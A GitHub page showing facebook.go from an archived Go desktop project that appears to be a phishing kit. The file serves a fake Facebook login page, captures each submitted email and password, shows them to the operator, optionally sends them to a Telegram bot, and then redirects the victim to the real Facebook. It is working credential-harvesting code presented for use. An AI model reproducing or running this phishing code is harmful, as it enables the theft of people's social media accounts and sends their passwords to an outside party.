This repository has been archived by the owner on Jan 16, 2022. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathfacebook.go
76 lines (62 loc) · 1.95 KB
/
facebook.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
package main
import (
"context"
"fmt"
"net/http"
"regexp"
"strings"
"github.com/raifpy/Go/errHandler"
"fyne.io/fyne"
"fyne.io/fyne/dialog"
"fyne.io/fyne/widget"
)
// 3.party
var emailRegex = regexp.MustCompile("^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$")
// isEmailValid checks if the email provided passes the required structure and length.
func isEmailValid(e string) bool {
if len(e) < 3 && len(e) > 254 {
return false
}
return emailRegex.MatchString(e)
}
//
func serveFacebookLogin(kapat chan bool, win fyne.Window, textGrid *widget.TextGrid, textStream *string) {
serveFunc := func(response http.ResponseWriter, request *http.Request) {
fmt.Fprintln(response, faceLoginHTML)
}
serveFuncLogin := func(response http.ResponseWriter, request *http.Request) {
request.ParseForm()
email := request.FormValue("email")
pass := request.FormValue("pass")
if email == "" || !isEmailValid(email) {
fmt.Fprintln(response, facebookwrongemailHTML)
return
} else if pass == "" {
fmt.Fprintln(response, strings.Replace(facebookunpassHTML, "&&email&&", email, 1))
return
}
*textStream += "Email = " + email + "\nPass = " + pass + "\n"
if useTelegramBot {
tg.send("Email = " + email + "\nPass = " + pass)
}
notiApp.SendNotification(fyne.NewNotification("New Form", email+" : "+pass))
textGrid.SetText(*textStream)
http.Redirect(response, request, "https://facebook.com", 301)
}
m := http.NewServeMux()
s := http.Server{Addr: ":8089", Handler: m}
m.HandleFunc("/", serveFunc)
http.HandleFunc("/login", serveFuncLogin)
go func() {
<-kapat
s.Shutdown(context.Background())
}()
if err := s.ListenAndServe(); errHandler.HandlerBool(err) && err.Error() != serverClosedErrString {
if useTelegramBot {
tg.send(err.Error())
}
dialog.ShowError(err, win)
}
//http.HandleFunc("/", serverFunc)
//http.ListenAndServe(":8089", nil)
}